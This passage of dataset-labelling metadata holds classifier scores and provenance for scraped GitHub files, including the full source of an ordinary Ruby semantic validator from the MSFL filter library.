0.0010399509859628769, "Knowledge Article": 0.0003106231956036007, "Legal Notices": 0.00011339640415363803, "News Article": 6.697949952270203e-05, "Organizational Announcement": 6.206201548070712e-05, "Nonfiction Writing": 6.67986857165708e-05, "Organizational About Page": 6.636708867484386e-05, "Personal About Page": 6.175845062180898e-05, "Personal Blog": 5.689864748021999e-05, "Product Page": 4.0210317991269184e-05, "Spam / Ads": 6.627284969030223e-05, "Structured Data": 0.008103821018210465, "Technical Writing": 0.010904768718533003, "Transcript / Interview": 9.586097807862191e-05, "Tutorial / How-To Guide": 0.002460955941861718, "User Reviews": 4.157437992698916e-05, "NONE": 0.9756634058579555}, "tertiary": {"Academic Writing": 0.00019918291814095674, "Content Listing": 7.188112604484466e-05, "Creative Writing": 8.806614524792238e-05, "Customer Support Page": 4.781942421244461e-05, "Q&A Forum": 3.3899106814302224e-05, "Discussion Thread": 2.901163750282788e-05, "Comment Section": 4.6463927386262604e-05, "Missing Content": 0.0013660344213529798, "Knowledge Article": 0.00033894921588995187, "Legal Notices": 0.00014782415991285072, "News Article": 5.156886528345566e-05, "Organizational Announcement": 4.118193704236247e-05, "Nonfiction Writing": 5.39619230738805e-05, "Organizational About Page": 5.9947228795844386e-05, "Personal About Page": 3.570471862088555e-05, "Personal Blog": 3.516089121324314e-05, "Product Page": 3.25869620651646e-05, "Spam / Ads": 5.942826805834479e-05, "Structured Data": 0.005198683661932235, "Technical Writing": 0.007421262058147832, "Transcript / Interview": 6.013595801425231e-05, "Tutorial / How-To Guide": 0.0018760006256542125, "User Reviews": 2.7635643828672947e-05, "NONE": 0.9826776091757643}, "structured_records": {"false": 0.9133380450788217, "true": 0.08666195492117834}, "procedural_steps": {"false": 0.9961602258640113, "true": 0.0038397741359886784}, "worked_solution": {"false": 0.7806900909059756, "true": 0.21930990909402437}, "contextual_dialogue": {"false": 0.9999919600532282, "true": 8.039946771818419e-06}, "content_quality": {"-2": 0.003802702186126195, "-1": 0.005487933655527936, "0": 0.08827587043501099, "1": 0.4826117642938615, "2": 0.4198217294294734}, "noise_severity": {"0": 0.955751496922949, "1": 0.04212378894256091, "2": 0.001244283514912574, "3": 0.00045641637359053905, "4": 0.0004240142459867929}, "missing_content_severity": {"0": 0.9029624439900353, "1": 0.03664203295004372, "2": 0.043875729724434695, "3": 0.014894504477091683, "4": 0.001625288858394679}, "factual_density": {"0": 0.0068851126737233415, "1": 0.014729241689901031, "2": 0.11823320393571563, "3": 0.42749885247843955, "4": 0.4326535892222204}, "pretraining_utility": {"-2": 0.028695664685242383, "-1": 0.25161990305319687, "0": 0.4504909866467486, "1": 0.215596407460472, "2": 0.053597038154340054}, "math_density": {"0": 0.008393863757338456, "1": 0.013182701864276662, "2": 0.09677798747732345, "3": 0.3275037605623349, "4": 0.5541416863387265}, "code_density": {"0": 0.00014680587701124568, "1": 0.0002991922212217279, "2": 0.0059440056851955535, "3": 0.047175761227645614, "4": 0.9464342349889259}, "reasoning_density": {"0": 0.8311721317175307, "1": 0.038918432017735385, "2": 0.06064118059362783, "3": 0.030800302360180682, "4": 0.03846795331092549}, "education_level": {"none": 0.0016127224545803048, "0": 0.0017152146444477214, "1": 0.020336962659641064, "2": 0.6226838725542355, "3": 0.2923410621081604, "4": 0.06131016557893493}, "creative_writing_quality": {"not_applicable": 0.9995062727090717, "-2": 0.00011000000633127976, "-1": 0.00010376818534699994, "0": 0.00019619339013836906, "1": 5.4999006480196737e-05, "2": 2.8766702631343514e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.888514542169911e-05, "Art & Design": 0.0005021405162262503, "Law & Crime": 0.00011788863389729503, "Education & Careers": 9.867160041557734e-05, "Entertainment & Media": 8.358156893090412e-05, "Fashion & Beauty": 7.788790513207185e-05, "Business, Economics & Finance": 0.00011810029955853219, "Food & Dining": 7.039851307976177e-05, "Games & Gaming": 0.00021263285269228292, "Electronics & Hardware": 0.00013464119920740688, "Health, Healthcare & Wellness": 0.00010895172682070325, "History & Geography": 0.00011922322424502556, "Home, Pets & Hobbies": 8.077393349388847e-05, "Industry & Production": 0.000114012099275672, "Language, Literature & Philosophy": 9.886884389288032e-05, "Politics & Government": 4.739394961907566e-05, "Religion & Spirituality": 7.372197269697065e-05, "Science, Mathematics & Engineering": 0.05599368427047643, "Relationships & Community": 4.6708370362870554e-05, "Software Usage & Applications": 0.0005878107579558316, "Programming & Software Engineering": 0.9402605208273612, "Sports & Fitness": 0.00012842885670486483, "Vehicles & Transportation": 5.987606644718102e-05, "Travel & Tourism": 0.0001020561250091972, "Other / Uncovered Subject": 0.0005079656008925879, "Unknown / Insufficient Content": 0.00016517514018405088}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007685755569355042, "Art & Design": 0.002510868325578783, "Law & Crime": 0.0006155354259153585, "Education & Careers": 0.0004310958387444495, "Entertainment & Media": 0.0004863160154753385, "Fashion & Beauty": 0.00034624975001551993, "Business, Economics & Finance": 0.0005136050564585289, "Food & Dining": 0.0003253644572618632, "Games & Gaming": 0.0006640017685228569, "Electronics & Hardware": 0.0006134842798960976, "Health, Healthcare & Wellness": 0.00045778515953056264, "History & Geography": 0.0004620872045748081, "Home, Pets & Hobbies": 0.00034204843525929797, "Industry & Production": 0.00041424705667885006, "Language, Literature & Philosophy": 0.0003267148488300058, "Politics & Government": 0.0002471655019844018, "Religion & Spirituality": 0.00043883798195067206, "Science, Mathematics & Engineering": 0.40681094017341807, "Relationships & Community": 0.0002145104828414278, "Software Usage & Applications": 0.0009243670084414856, "Programming & Software Engineering": 0.1165074993739758, "Sports & Fitness": 0.00042771532576897463, "Vehicles & Transportation": 0.00025602368565627186, "Travel & Tourism": 0.0005828544865943152, "Other / Uncovered Subject": 0.0009919540602127868, "NONE": 0.46332015273947796}}, "probabilities": {"primary": {"Academic Writing": 0.00012096262090446047, "Content Listing": 3.387419373090563e-05, "Creative Writing": 3.8591377199403985e-05, "Customer Support Page": 2.4299106958285465e-05, "Q&A Forum": 1.951263259650461e-05, "Discussion Thread": 1.6128640925057668e-05, "Comment Section": 2.3575041122150085e-05, "Missing Content": 3.88180697612502e-05, "Knowledge Article": 0.00010162001499729993, "Legal Notices": 5.343800508969615e-05, "News Article": 1.1144283955781808e-05, "Organizational Announcement": 1.99222635208561e-05, "Nonfiction Writing": 2.629993410987736e-05, "Organizational About Page": 2.4784165863844247e-05, "Personal About Page": 2.3168697834470475e-05, "Personal Blog": 1.2443758245389346e-05, "Product Page": 1.5019960969203927e-05, "Spam / Ads": 2.2308589497957193e-05, "Structured Data": 0.002644049095766812, "Technical Writing": 0.9863930278122375, "Transcript / Interview": 4.025615078962065e-05, "Tutorial / How-To Guide": 0.0004922723915120446, "User Reviews": 1.350633519007103e-05, "Other / Unknown": 0.009790976857221556}, "secondary": {"Academic Writing": 0.00031759526941198783, "Content Listing": 0.0001107120742654619, "Creative Writing": 0.00011604888389079902, "Customer Support Page": 7.200363424114197e-05, "Q&A Forum": 5.570747316248137e-05, "Discussion Thread": 4.620697314919076e-05, "Comment Section": 6.0020656414056456e-05, "Missing Content": 0.0010399509859628769, "Knowledge Article": 0.0003106231956036007, "Legal Notices": 0.00011339640415363803, "News Article": 6.697949952270203e-05, "Organizational Announcement": 6.206201548070712e-05, "Nonfiction Writing": 6.67986857165708e-05, "Organizational About Page": 6.636708867484386e-05, "Personal About Page": 6.175845062180898e-05, "Personal Blog": 5.689864748021999e-05, "Product Page": 4.0210317991269184e-05, "Spam / Ads": 6.627284969030223e-05, "Structured Data": 0.008103821018210465, "Technical Writing": 0.010904768718533003, "Transcript / Interview": 9.586097807862191e-05, "Tutorial / How-To Guide": 0.002460955941861718, "User Reviews": 4.157437992698916e-05, "NONE": 0.9756634058579555}, "tertiary": {"Academic Writing": 0.00019918291814095674, "Content Listing": 7.188112604484466e-05, "Creative Writing": 8.806614524792238e-05, "Customer Support Page": 4.781942421244461e-05, "Q&A Forum": 3.3899106814302224e-05, "Discussion Thread": 2.901163750282788e-05, "Comment Section": 4.6463927386262604e-05, "Missing Content": 0.0013660344213529798, "Knowledge Article": 0.00033894921588995187, "Legal Notices": 0.00014782415991285072, "News Article": 5.156886528345566e-05, "Organizational Announcement": 4.118193704236247e-05, "Nonfiction Writing": 5.39619230738805e-05, "Organizational About Page": 5.9947228795844386e-05, "Personal About Page": 3.570471862088555e-05, "Personal Blog": 3.516089121324314e-05, "Product Page": 3.25869620651646e-05, "Spam / Ads": 5.942826805834479e-05, "Structured Data": 0.005198683661932235, "Technical Writing": 0.007421262058147832, "Transcript / Interview": 6.013595801425231e-05, "Tutorial / How-To Guide": 0.0018760006256542125, "User Reviews": 2.7635643828672947e-05, "NONE": 0.9826776091757643}, "structured_records": {"false": 0.9133380450788217, "true": 0.08666195492117834}, "procedural_steps": {"false": 0.9961602258640113, "true": 0.0038397741359886784}, "worked_solution": {"false": 0.7806900909059756, "true": 0.21930990909402437}, "contextual_dialogue": {"false": 0.9999919600532282, "true": 8.039946771818419e-06}, "content_quality": {"-2": 0.003802702186126195, "-1": 0.005487933655527936, "0": 0.08827587043501099, "1": 0.4826117642938615, "2": 0.4198217294294734}, "noise_severity": {"0": 0.9557514969229491, "1": 0.042123788942560914, "2": 0.0012442835149125743, "3": 0.0004564163735905391, "4": 0.00042401424598679296}, "missing_content_severity": {"0": 0.9029624439900351, "1": 0.036642032950043715, "2": 0.04387572972443469, "3": 0.01489450447709168, "4": 0.0016252888583946786}, "factual_density": {"0": 0.0068851126737233415, "1": 0.014729241689901031, "2": 0.11823320393571563, "3": 0.42749885247843955, "4": 0.4326535892222204}, "pretraining_utility": {"-2": 0.028695664685242386, "-1": 0.2516199030531969, "0": 0.45049098664674864, "1": 0.21559640746047204, "2": 0.05359703815434006}, "math_density": {"0": 0.008393863757338456, "1": 0.013182701864276662, "2": 0.09677798747732345, "3": 0.3275037605623349, "4": 0.5541416863387265}, "code_density": {"0": 0.00014680587701124568, "1": 0.0002991922212217279, "2": 0.0059440056851955535, "3": 0.047175761227645614, "4": 0.9464342349889259}, "reasoning_density": {"0": 0.8311721317175307, "1": 0.038918432017735385, "2": 0.06064118059362783, "3": 0.030800302360180682, "4": 0.03846795331092549}, "education_level": {"none": 0.0016127224545803048, "0": 0.0017152146444477214, "1": 0.020336962659641064, "2": 0.6226838725542355, "3": 0.2923410621081604, "4": 0.06131016557893493}, "creative_writing_quality": {"not_applicable": 0.9995062727090718, "-2": 0.00011000000633127977, "-1": 0.00010376818534699995, "0": 0.0001961933901383691, "1": 5.499900648019674e-05, "2": 2.8766702631343518e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.88851454216991e-05, "Art & Design": 0.0005021405162262502, "Law & Crime": 0.000117888633897295, "Education & Careers": 9.867160041557731e-05, "Entertainment & Media": 8.358156893090411e-05, "Fashion & Beauty": 7.788790513207184e-05, "Business, Economics & Finance": 0.00011810029955853217, "Food & Dining": 7.039851307976175e-05, "Games & Gaming": 0.00021263285269228286, "Electronics & Hardware": 0.00013464119920740685, "Health, Healthcare & Wellness": 0.00010895172682070323, "History & Geography": 0.00011922322424502554, "Home, Pets & Hobbies": 8.077393349388845e-05, "Industry & Production": 0.00011401209927567197, "Language, Literature & Philosophy": 9.886884389288029e-05, "Politics & Government": 4.739394961907565e-05, "Religion & Spirituality": 7.372197269697064e-05, "Science, Mathematics & Engineering": 0.055993684270476414, "Relationships & Community": 4.670837036287054e-05, "Software Usage & Applications": 0.0005878107579558315, "Programming & Software Engineering": 0.940260520827361, "Sports & Fitness": 0.0001284288567048648, "Vehicles & Transportation": 5.9876066447181e-05, "Travel & Tourism": 0.00010205612500919717, "Other / Uncovered Subject": 0.0005079656008925878, "Unknown / Insufficient Content": 0.00016517514018405085}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0007685755569355042, "Art & Design": 0.002510868325578783, "Law & Crime": 0.0006155354259153585, "Education & Careers": 0.0004310958387444495, "Entertainment & Media": 0.0004863160154753385, "Fashion & Beauty": 0.00034624975001551993, "Business, Economics & Finance": 0.0005136050564585289, "Food & Dining": 0.0003253644572618632, "Games & Gaming": 0.0006640017685228569, "Electronics & Hardware": 0.0006134842798960976, "Health, Healthcare & Wellness": 0.00045778515953056264, "History & Geography": 0.0004620872045748081, "Home, Pets & Hobbies": 0.00034204843525929797, "Industry & Production": 0.00041424705667885006, "Language, Literature & Philosophy": 0.0003267148488300058, "Politics & Government": 0.0002471655019844018, "Religion & Spirituality": 0.00043883798195067206, "Science, Mathematics & Engineering": 0.40681094017341807, "Relationships & Community": 0.0002145104828414278, "Software Usage & Applications": 0.0009243670084414856, "Programming & Software Engineering": 0.1165074993739758, "Sports & Fitness": 0.00042771532576897463, "Vehicles & Transportation": 0.00025602368565627186, "Travel & Tourism": 0.0005828544865943152, "Other / Uncovered Subject": 0.0009919540602127868, "NONE": 0.46332015273947796}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10718, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10718, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:08.073325+00:00", "scoring_key_slot": "primary", "dataset_uid": "c56921ba-cae4-4c8c-ae10-cb9b739fd250", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "8c63744a29769893bc411eaae77d4c052a919b2ee4d7c31d77f2469e68f1abef", "source_metadata": {"uuid": "c56921ba-cae4-4c8c-ae10-cb9b739fd250", "repo_name": "mike9322/kl", "relative_path": "klayout-0.24.8/testdata/ruby/dbMatrix.rb", "category": "TEST", "algo_rel_score": 0.8634324669837952, "quality_score": 5.8270440101623535, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 6, "repo_created_at": "2016-09-24T14:25:01.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "88cb7048455a7f4695c2c1bbf7fcda50c084dc9a", "size_bytes": 4643, "file_timestamp": 1474731784, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b115441a7791b510e55739e7749483b694298b26"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 6, "repo_created_at": "2016-09-24T14:25:01.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "88cb7048455a7f4695c2c1bbf7fcda50c084dc9a", "size_bytes": 4643, "file_timestamp": 1474731784, "language": "ruby", "is_vendor": true, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b115441a7791b510e55739e7749483b694298b26", "url": "https://github.com/mike9322/kl/blob/b115441a7791b510e55739e7749483b694298b26/klayout-0.24.8/testdata/ruby/dbMatrix.rb"}, "gpt4o_tokens": 2033, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.309161885125028, "noise_severity": 0.04767766207710485, "missing_content_severity": 0.17557816126376688, "factual_density": 3.2643065638855324, "pretraining_utility": 0.013779251345470464, "math_density": 3.4058167038608342, "code_density": 3.939451427230253, "reasoning_density": 0.40647351352923505, "education_level": 2.39182590775722, "creative_writing_quality": -0.42783899158087907}, "score_applicability": {"education_level": 0.9983872775454197, "creative_writing_quality": 0.0004937272909281891}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Referly/msfl/blob/28e14ba9051f10b14b78c529eedd5c4e96dee8d0/lib/msfl/validators/semantic.rb", "id": "ruby-0-adb86feae6923670fd2ee2e58c8e52f6", "text": "require_relative 'definitions'\n\nmodule MSFL\n module Validators\n class Semantic\n # Load definitions\n include Definitions::HashKey\n\n attr_accessor :dataset, :errors, :current_field, :current_operator\n\n BOOLEAN_OPERATORS = [:and, :or]\n ENUMERATION_OPERATORS = [:in]\n\n # Used for creating new semantic validator instances\n #\n # If the dataset argument is specified it will be used as the dataset for the validator. Otherwise\n # the instance's dataset will default to the first value in MSFL.configuration.datasets, unless it is empty,\n # in which case it will revert to MSFL::Datasets::Base, which will deliberately break execution when #validate\n # is called on the validator instance, raising a NoMethodError.\n #\n # @param dataset [MSFL::Dataset::Base] optionally override the dataset instance that should be used by the validator\n # @param opts [Hash] optional; currently not used, included for future additions\n def initialize(dataset = nil, opts = {})\n @dataset = dataset unless dataset.nil?\n @dataset ||= MSFL.configuration.datasets.first.new unless MSFL.configuration.datasets.empty?\n @dataset ||= Datasets::Base.new\n @current_field = nil\n @current_operator = nil\n end\n\n # Returns true if the object is valid, false if the object is invalid\n # An array of hashes of errors is available at #errors\n #\n # This method is not meant to be called recursively, the private method recursive_validate is used\n # for this purpose\n #\n # @param hash [Hash] the object to be validated\n # @param errors [Array] optionally provide an array that contains errors from previous validators in the\n # validation chain\n def validate(hash, errors = [], opts = {})\n errors << \"Object to validate must be a Hash\" unless hash.is_a?(Hash)\n recursive_validate hash, errors, opts\n @errors = errors\n result = true if @errors.empty?\n result ||= false\n result\n end\n\n # Returns the result of merging errors with any newly encountered errors found in validating the hash\n #\n # @param hash [Hash] the Hash to validate\n # @param errors [Array] an array of validation errors - empty indicates that no errors have been encountered\n # @param opts [Hash] the options hash\n # @return [Array] errors merged with any validation errors encountered in validating the hash\n def validate_hash(hash, errors, opts)\n # set current field\n current_field = nil\n # validate the keys and values\n hash.each do |k, value|\n key = k.to_sym\n # validate the current hash key using broad hash key validation\n errors << \"Hash key encountered that is broadly invalid.\" unless valid_hash_key?(key)\n\n # validate that the hash key is supported as an operator or dataset field\n\n # if they key is an operator validate the dataset supports the operator for the current field\n #\n # if the key is a field of the dataset then we need to validate that the _value_ conforms to the dataset\n # specific validation rules for that field\n #\n # if they key is neither an operator nor a field we raise an ArgumentError\n #\n # Then make a recursive call to validate on the value so that it and its elements are validated\n # later I might be able to optimize this by only making the recursive call for Sets and Hashes\n #\n if dataset.has_operator? key\n dataset.validate_operator_conforms key, current_field, errors\n opts[:parent_operator] = key\n elsif dataset.has_field? key\n current_field = key\n dataset.validate_type_conforms value, current_field, errors\n dataset.validate_value_conforms value, current_field, errors\n opts[:parent_field] = current_field\n else\n errors << \"Encountered hash key that is neither an operator nor a property of the dataset\"\n end\n recursive_validate value, errors, opts\n end\n errors\n end\n\n # Acts as a helper method that forwards validation requests for sets to the right handler based on the\n # :parent_operator option's value\n #\n # @param set [MSFL::Types::Set] the set to validate\n # @param errors [Array] the existing array of validation errors\n # @param opts [Hash] the options hash\n # @return [Array] the errors array argument with any additional validation errors appended\n def validate_set(set, errors, opts)\n error_message =\n \"Validate set requires the :parent_operator option be set and represented in either the BOOLEAN_OPERATORS\n or ENUMERATION_OPERATORS constant\"\n errors << error_message unless opts.has_key?(:parent_operator)\n\n if BOOLEAN_OPERATORS.include?(opts[:parent_operator])\n validate_boolean_set set, errors, opts\n elsif ENUMERATION_OPERATORS.include?(opts[:parent_operator])\n validate_enumeration_set set, errors, opts\n else\n errors << error_message\n end\n errors\n end\n\n # Returns the result of merging errors with any newly encountered errors found in validating the set\n #\n # @param set [MSFL::Types::Set] the set to validate\n # @param errors [Array] an array of validation errors - empty indicates that no errors have been encountered\n # @return [Array] errors merged with any validation errors encountered in validating the set\n def validate_boolean_set(set, errors, opts)\n # Every member needs to be a hash\n set.each do |value|\n errors << \"Every member of a boolean set must be a Hash\" unless value.is_a?(Hash)\n # recursively call validate on each member\n recursive_validate value, errors, opts\n end\n errors\n end\n\n # Validates a set of enumerationd scalar values\n def validate_enumeration_set(set, errors, opts)\n current_field = opts[:parent_field] if opts.has_key?(:parent_field)\n current_field ||= nil\n errors << \"Validate enumeration set requires the parent_field option to be set\" if current_field.nil?\n set.each do |value|\n # this isn't quite right, it feels dirty to use :each\n errors << \"No members of an enumeration set may permit iteration across itself\" if value.respond_to?(:each)\n dataset.validate_type_conforms value, current_field, errors\n dataset.validate_value_conforms value, current_field, errors\n end\n errors\n end\n\n private\n\n def recursive_validate(obj, errors, opts)\n # store a copy of parent_operator and parent_field to restore after recursion\n parent_operator = opts[:parent_operator] if opts.has_key?(:parent_operator)\n parent_operator ||= nil\n parent_field = opts[:parent_field] if opts.has_key?(:parent_field)\n parent_field ||= nil\n if obj.is_a?(Hash)\n validate_hash obj, errors, opts\n elsif obj.is_a?(Types::Set)\n validate_set obj, errors, opts\n end\n opts.delete :parent_operator\n opts[:parent_operator] = parent_operator unless parent_operator.nil?\n opts.delete :parent_field\n opts[:parent_field] = parent_field unless parent_field.nil?\n errors\n end\n end\n end\nend", "text_preview": "require_relative 'definitions' module MSFL module Validators class Semantic # Load definitions include Definitions::HashKey attr_accessor :dataset, :errors, :current_field, :current_operator BOOLEAN_OPERATORS = [:and, :or] ENUMERATION_OPERA", "input_sha256": "ed4cb5357c3a81fc43498eadca17b32f1e168eb0eabcb491fc1ce282a20d7d40", "text_sha256": "adb86feae6923670fd2ee2e58c8e52f6d56d079de270dd1f9a433dec210e3e5a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16016, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.8339663463239142, "noise_severity": 0.01469680394253811, "missing_content_severity": 0.026837905923079573, "factual_density": 3.4050205389920465, "pretraining_utility": 0.5034660467493695, "math_density": 0.06529593640239059, "code_density": 3.7274751471325462, "reasoning_density": 1.1665966968051908, "education_level": 2.300851365115528, "creative_writing_quality": -0.21547762082772212}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.00910755605394975, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9983365589496028, "secondary": 0.9839726024456241, "tertiary": 0.9934761391975717, "structured_records": 0.0032625658624132574, "procedural_steps": 0.013325874959452439, "worked_solution": 0.0012908383906166435, "contextual_dialogue": 7.474380564582272e-06, "content_quality": 0.5250398807231482, "noise_severity": 0.9877526633812183, "missing_content_severity": 0.9776350783974337, "factual_density": 0.5041837824933724, "pretraining_utility": 0.45599614449125825, "math_density": 0.9455867196646746, "code_density": 0.7728959559437883, "reasoning_density": 0.02783608599567422, "education_level": 0.620283176691517, "creative_writing_quality": 0.9994592514211098, "primary_topic": 0.993393158466461, "secondary_topic": 0.9658726000045401}, "probability_margin": {"primary": 0.9976880252728337, "secondary": 0.9739319680582255, "tertiary": 0.9899457155487176, "education_level": 0.41615427409629707, "creative_writing_quality": 0.99934477166367, "primary_topic": 0.9900190210490912, "secondary_topic": 0.9532828207969053}, "raw_probabilities": {"primary": {"Academic Writing": 2.1944512128110537e-05, "Content Listing": 1.0743171478522139e-05, "Creative Writing": 8.499374871153041e-06, "Customer Support Page": 6.932034260144016e-06, "Q&A Forum": 7.1091709185851e-06, "Discussion Thread": 4.513071380075003e-06, "Comment Section": 8.280382141357067e-06, "Missing Content": 1.6855200594932602e-05, "Knowledge Article": 6.873839746582577e-05, "Legal Notices": 2.3990158367667815e-05, "News Article": 2.8026159340907397e-06, "Organizational Announcement": 6.62924445095911e-06, "Nonfiction Writing": 6.85471456834801e-06, "Organizational About Page": 7.759242945878001e-06, "Personal About Page": 5.929907979927796e-06, "Personal Blog": 4.804263181162905e-06, "Product Page": 4.634636607632666e-06, "Spam / Ads": 5.771221828214178e-06, "Structured Data": 0.0005410668097183624, "Technical Writing": 0.9984058689933694, "Transcript / Interview": 8.529158404422445e-06, "Tutorial / How-To Guide": 9.974140897162487e-05, "User Reviews": 4.158587898210938e-06, "Other / Unknown": 0.0007178437205356406}, "secondary": {"Academic Writing": 9.545891250544469e-05, "Content Listing": 5.601067992108002e-05, "Creative Writing": 6.440681388349911e-05, "Customer Support Page": 4.9420413693260086e-05, "Q&A Forum": 2.7954813992713565e-05, "Discussion Thread": 2.5001125251480974e-05, "Comment Section": 0.00014791735165762933, "Missing Content": 0.00019025541060437156, "Knowledge Article": 0.000652459311647218, "Legal Notices": 0.0001289325980865895, "News Article": 3.995728561973133e-05, "Organizational Announcement": 4.296130422647576e-05, "Nonfiction Writing": 5.3092011497707686e-05, "Organizational About Page": 5.4130510073128725e-05, "Personal About Page": 3.63085431754266e-05, "Personal Blog": 5.4130122902934424e-05, "Product Page": 2.7905470335314134e-05, "Spam / Ads": 4.66375681165804e-05, "Structured Data": 0.002235916040635305, "Technical Writing": 0.010708442618830982, "Transcript / Interview": 4.359350589974889e-05, "Tutorial / How-To Guide": 0.0005568231201409924, "User Reviews": 2.1873790246050657e-05, "NONE": 0.9846404106770564}, "tertiary": {"Academic Writing": 5.553439567961798e-05, "Content Listing": 3.3401767116772334e-05, "Creative Writing": 4.564624782586277e-05, "Customer Support Page": 2.6525870603178207e-05, "Q&A Forum": 1.5626282688682076e-05, "Discussion Thread": 1.5038229557099103e-05, "Comment Section": 7.470137397624913e-05, "Missing Content": 0.00018588481512645883, "Knowledge Article": 0.00026631735237492657, "Legal Notices": 9.838127452597211e-05, "News Article": 2.622013536428809e-05, "Organizational Announcement": 2.5997511941744488e-05, "Nonfiction Writing": 3.562167019725378e-05, "Organizational About Page": 4.1938594793123334e-05, "Personal About Page": 2.2261909598449576e-05, "Personal Blog": 6.72257232853792e-05, "Product Page": 1.9032225127099844e-05, "Spam / Ads": 3.0447958606672484e-05, "Structured Data": 0.0008531246319323397, "Technical Writing": 0.003802251182288658, "Transcript / Interview": 2.5771211345625006e-05, "Tutorial / How-To Guide": 0.0004710316713755109, "User Reviews": 1.4051233662840885e-05, "NONE": 0.9937479667310062}, "structured_records": {"false": 0.9967374341375868, "true": 0.0032625658624132574}, "procedural_steps": {"false": 0.9866741250405475, "true": 0.013325874959452439}, "worked_solution": {"false": 0.9987091616093834, "true": 0.0012908383906166435}, "contextual_dialogue": {"false": 0.9999925256194354, "true": 7.474380564582272e-06}, "content_quality": {"-2": 0.008792475858949298, "-1": 0.039462079677360686, "0": 0.26269131147258473, "1": 0.48709488826303715, "2": 